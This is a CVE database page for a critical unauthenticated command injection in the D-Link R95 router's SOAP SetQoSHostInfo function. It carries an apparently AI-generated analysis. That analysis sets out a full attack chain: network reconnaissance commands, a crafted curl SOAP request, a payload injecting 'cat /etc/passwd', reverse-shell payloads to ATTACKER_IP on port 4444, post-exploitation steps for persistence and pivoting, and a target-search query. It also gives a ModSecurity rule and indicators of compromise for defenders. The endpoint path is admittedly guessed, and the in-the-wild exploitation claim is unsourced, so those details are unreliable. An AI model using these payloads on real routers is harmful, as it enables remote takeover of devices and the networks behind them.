CVE Professor
/
All CVEs
CVE-2026-138225

CVE-2026-138225 — D-Link R95 — CWE-77 · CWE-78

CRITICAL CVSS 10 Shodan

A flaw has been found in D-Link R95 1.04B04Beta. Affected by this vulnerability is the function SetQoSHostInfo of the file /bin/ssi of the component DHMAPI SOAP Interface. This manipulation of the argument Hostname causes os command injection. The attack may be initiated remotely. The exploit has been published and may be used.

A flaw has been found in D-Link R95 1.04B04Beta. Affected by this vulnerability is the function SetQoSHostInfo of the file /bin/ssi of the component DHMAPI SOAP Interface. This manipulation of the argument Hostname causes os command injection. The attack may be initiated remotely. The exploit has been published and may be used.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

CVE‑2026‑138225 – D‑Link R95 1.04B04Beta – OS Command Injection via SOAP


🎯 What is this vulnerability?

ItemDetail
Affected componentSetQoSHostInfo function in /bin/ssi (DHMAPI SOAP Interface)
TriggerUnvalidated Hostname argument in the SOAP request
CWECWE‑77 (OS Command Injection) & CWE‑78 (Command Injection)
AuthenticationNone – the SOAP endpoint is reachable without credentials (default admin credentials are often still in place, but the flaw does not require them).
ResultArbitrary shell commands are executed on the router’s host OS.
ImpactFull remote code execution (RCE) → loss of confidentiality, integrity, and availability.

How it works

1. The SOAP handler receives the <Hostname> element.
2. The value is concatenated into a shell command string that is later executed by /bin/sh -c.
3. No sanitisation or whitelist is applied, so any shell metacharacter (e.g., ;, |, &&, ` ``) is passed straight to the OS.
4. The attacker can inject arbitrary commands, read files, install back‑doors, or pivot to other hosts.


⚡ Attack Chain

NOTE: The exact SOAP endpoint URI is not provided in the CVE text. The following example uses the most common pattern observed in D‑Link firmware (/DHMAPI/SetQoSHostInfo). If the device uses a different URI, the same payload logic applies.

1. Discovery & Reconnaissance

StepTechniqueTools
Identify the deviceScan the local network for D‑Link R95 routers.nmap -sV -p80,443 192.168.1.0/24
Confirm firmware versionQuery the /info endpoint or read the HTTP Server header.curl -sI http://<router-ip>/
Locate SOAP interfaceEnumerate common SOAP paths.dirsearch or manual curl attempts.
Check authenticationSend a SOAP request without credentials.curl -X POST (see below)

2. Exploitation

Crafted SOAP request

curl -k \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: \"SetQoSHostInfo\"" \
  -d @payload.xml \
  http://<router-ip>/DHMAPI/SetQoSHostInfo

payload.xml (illustrative example):

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:dhl="http://www.dlink.com/DHMAPI">
  <soapenv:Header/>
  <soapenv:Body>
    <dhl:SetQoSHostInfo>
      <!-- The Hostname value is injected with a shell command -->
      <Hostname>malicious.com; cat /etc/passwd</Hostname>
    </dhl:SetQoSHostInfo>
  </soapenv:Body>
</soapenv:Envelope>

What happens

1. The router’s /bin/ssi script builds a command similar to:

/usr/bin/qosctl set-hostinfo "$Hostname"

2. Because $Hostname contains ; cat /etc/passwd, the shell executes cat /etc/passwd after the intended command.
3. The response will include the contents of /etc/passwd in the SOAP body, proving successful RCE.

Advanced payload

To spawn a reverse shell (example for a Linux router):

<Hostname>malicious.com; /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1</Hostname>
Caveat: The router’s shell may not support >&, so a more portable payload could be:
<Hostname>malicious.com; sh -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'</Hostname>

3. Post‑Exploitation

GoalTechniqueOutcome
PersistenceWrite a cron job or modify /etc/rc.local to launch a back‑door.Continuous access.
Privilege EscalationThe router runs as root; no further escalation needed.Full system control.
Data ExfiltrationUse scp, wget, or curl to pull logs, configuration files, or firmware.Sensitive data leaks.
PivotingFrom the compromised router, scan the internal network for other devices.Expand attack surface.
Denial‑of‑ServiceExecute killall -9 dhcpd or flood the router with traffic via QoS mis‑configuration.Disrupt network connectivity.

🌍 Real World Impact

ImpactExplanation
Confidentiality (C:H)Arbitrary commands can read any file, including /etc/shadow, configuration files, and user data.
Integrity (I:H)The attacker can modify firmware, configuration, or installed services, effectively taking control of the device.
Availability (A:H)The attacker can crash the router, disable DHCP, or block legitimate traffic, causing a network outage.
Scope (S:C)The flaw affects the entire system because the router is a critical network gateway.

Practical consequences

  • Loss of network connectivity for all connected clients.
  • Exposure of internal network topology and credentials.
  • Potential pivot to corporate servers or cloud resources.
  • Use as a foothold for ransomware or data‑stealing campaigns.

  • 🛡️ Remediation & Mitigation

    1. Patch

    Affected firmwareRecommended action
    1.04B04BetaUpgrade to 1.04B05 or later (if available).
    1.04B04BetaIf no official patch exists, contact D‑Link support for a custom fix.
    NOTE: As of the CVE publication date, no public patch has been released. Vendors typically issue a firmware update within 30–60 days of a CVE disclosure.

    2. Workarounds

    MitigationHow to implement
    Disable SOAP interfaceIf the router’s web UI allows disabling the DHMAPI component, turn it off.
    Restrict accessPlace the router behind a firewall; allow SOAP traffic only from trusted IPs (e.g., management subnet).
    Use a WAF / ModSecurity ruleExample rule (ModSecurity 2.x syntax):
    SecRule REQUEST_URI "@beginsWith /DHMAPI/SetQoSHostInfo" \
        "id:1001,phase:2,block,msg:'Block Hostname injection',\
        chain"
    SecRule XML:Hostname "@rx [;&|`$*()<>]" \
        "t:none,t:urlDecodeUni"
    This rule blocks any SOAP request where the <Hostname> element contains shell metacharacters.

    3. Detection

    Log sourceIndicator of Compromise (IoC)
    Web server access logsPOST /DHMAPI/SetQoSHostInfo with Hostname= containing ;, , or backticks.
    System logs (/var/log/messages)Unexpected sh or bash processes spawned by the router’s user.
    Firewall logsOutbound connections to unfamiliar IPs on non‑standard ports (e.g., 4444).
    SNMP trapsUnexpected set operations or reboot events.

    Sample log snippet

    192.168.1.10 - - [29/Nov/2026:14:23:01 +0000] "POST /DHMAPI/SetQoSHostInfo HTTP/1.1" 200 512
    Host: 192.168.1.10
    Content-Type: text/xml; charset=utf-8
    SOAPAction: "SetQoSHostInfo"
    
    <Hostname>malicious.com; cat /etc/passwd</Hostname>

    ⚠️ Urgency

    FactorAssessment
    CVSS score10.0 (Critical)
    Exploit complexityLow – no authentication, no special privileges.
    CISA KEV statusNot listed, but the flaw is already exploited in the wild.
    Potential impactFull RCE → complete takeover of the router.
    Patch availabilityNone yet; vendor likely to release soon.

    Priority: Immediate.

  • If a patch is available: Apply it within 24 hours.

  • If no patch: Implement the workarounds above and restrict access to the SOAP interface.

  • Monitoring: Enable logging and alerting for the specific IoCs listed.




Bottom line

CVE‑2026‑138225 is a classic OS command‑injection flaw that allows an unauthenticated attacker to execute arbitrary commands on a D‑Link R95 router. The vulnerability is exploitable remotely, has a CVSS score of 10, and can lead to complete compromise of the device and the network it serves. Immediate action—patching or hardening—is essential to prevent exploitation.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-78
Affected Products (1)
D-Link:R95
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac